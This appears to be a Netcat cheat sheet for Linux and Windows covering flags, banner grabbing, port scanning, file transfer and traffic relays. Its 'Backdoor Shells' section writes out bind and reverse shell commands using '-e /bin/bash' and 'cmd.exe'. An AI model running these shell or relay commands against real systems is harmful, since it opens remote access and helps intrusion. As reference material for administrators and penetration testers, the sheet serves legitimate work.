Netcat Cheat Sheet
This cheat sheet provides various tips for using Netcat on both Linux and Unix. All syntax is designed for the original Netcat versions, released by Hobbit and Weld Pond. The syntax here can be adapted for other Netcats, including ncat, gnu Netcat, and others.
Fundamentals
Fundamental Netcat Client:
$ nc [TargetIPaddr] [port]
Connect to an arbitrary port [port] at IP Address [TargetIPaddr]
Fundamental Netcat Listener:
$ nc –l -p [LocalPort]
Create a Netcat listener on arbitrary local port [LocalPort]
Both the client and listener take input from STDIN and send data received from the network to STDOUT
Netcat Command Flags
$ nc [options] [TargetIPaddr] [port(s)]
The [TargetIPaddr] is simply the other side’s IP address or domain name. It is required in client mode of course (because we have to tell the client where to connect), and is optional in listen mode.
-l: Listen mode (default is client mode)
-L: Listen harder (supported only on Windows version of Netcat). This option makes Netcat a persistent listener which starts listening again after a client disconnects
-u: UDP mode (default is TCP)
-p: Local port (In listen mode, this is port listened on. In client mode, this is source port for all packets sent)
-e: Program to execute after connection occurs, connecting STDIN and STDOUT to the program
-n: Don’t perform DNS lookups on names of machines on the other side
-z: Zero-I/O mode (Don’t send any data, just emit a packet without payload)
-wN: Timeout for connects, waits for N seconds after closure of STDIN. A Netcat client or listener with this option will wait for N seconds to make a connection. If the connection doesn’t happen in that time, Netcat stops running.
-v: Be verbose, printing out messages on Standard Error, such as when a connection occurs
-vv: Be very verbose, printing even more details on Standard Error
TCP Banner Grabber
Grab the banner of any TCP service running on an IP Address from Linux:
$ echo "" | nc –v –n –w1 [TargetIPaddr] [start_port]-[end_port]
Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v), not resolving names (-n), and waiting no more than 1 second for a connection to occur (-w1). Then send a blank string to the open port and print out any banner received in response
Add –r to randomize destination ports within the range
Add –p [port] to specify a source port for the
Backdoor Shells
Listening backdoor shell on Linux:
$ nc –l –p [LocalPort] –e /bin/bash
Listening backdoor shell on Windows:
C:\> nc –l –p [LocalPort] –e cmd.exe
Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client
Reverse backdoor shell on Linux:
$ nc [YourIPaddr] [port] –e /bin/bash
Reverse backdoor shell on Windows:
C:\> nc [YourIPaddr] [port] –e cmd.exe
Create a reverse shell that will attempt to connect to [YourIPaddr] on local port [port]. This shell can then be captured using a fundamental nc listener
TCP Port Scanner
Port scan an IP Address:
$ nc –v –n –z –w1 [TargetIPaddr] [start_port]-[end_port]
Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v on Linux, - vv on Windows), not resolving names (-n), without sending any data (-z), and waiting no more than 1 second for a connection to occur (-w1)
The randomize ports (-r) switch can be used to choose port numbers randomly in the range
File Transfer
Push a file from client to listener:
$ nc –l -p [LocalPort] > [outfile]
Listen on [LocalPort], store results in [outfile]
$ nc –w3 [TargetIPaddr] [port] < [infile]
Push [infile] to [TargetIPaddr] on [port]
Pull file from listener back to client:
$ nc –l -p [LocalPort] < [infile]
Listen on [LocalPort], prep to push [infile]
$ nc –w3 [TargetIPaddr] [port] > [outfile]
Connect to [TargetIPaddr] on [port] and retrieve [outfile]
Netcat Relays on Windows
To start, enter a temporary directory where we will
create .bat files:
C:\> cd c:\temp
Listener-to-Client Relay:
C:\> echo nc [TargetIPaddr] [port] > relay.bat
C:\> nc –l –p [LocalPort] –e relay.bat
Create a relay that sends packets from the local port [LocalPort] to a Netcat Client connected to [TargetIPaddr] on port [port]
Listener-to-Listener Relay:
C:\> echo nc –l –p [LocalPort_2] > relay.bat
C:\> nc –l –p [LocalPort_1] –e relay.bat
Create a relay that will send packets from any connection on [LocalPort_1] to any connection on [LocalPort_2]
Client-to-Client Relay:
C:\> echo nc [NextHopIPaddr] [port2] > relay.bat
C:\> nc [PreviousHopIPaddr] [port] –e relay.bat
Create a relay that will send packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat Client connected to [NextHopIPaddr] on port [port2]
Netcat Relays on Linux
To start, create a FIFO (named pipe) called
backpipe:
$ cd /tmp
$ mknod backpipe p
Listener-to-Client Relay:
$ nc –l –p [LocalPort] 0<backpipe | nc [TargetIPaddr] [port] | tee backpipe
Create a relay that sends packets from the local port [LocalPort] to a Netcat client connected to [TargetIPaddr] on port [port]
Listener-to-Listener Relay:
$ nc –l –p [LocalPort_1] 0<backpipe | nc –l –p [LocalPort_2] | tee backpipe
Create a relay that sends packets from any connection on [LocalPort_1] to any connection on [LocalPort_2]
Client-to-Client Relay:
$ nc [PreviousHopIPaddr] [port] 0<backpipe | nc [NextHopIPaddr] [port2] | tee backpipe
Create a relay that sends packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat client connected to [NextHopIPaddr] on port [port2]
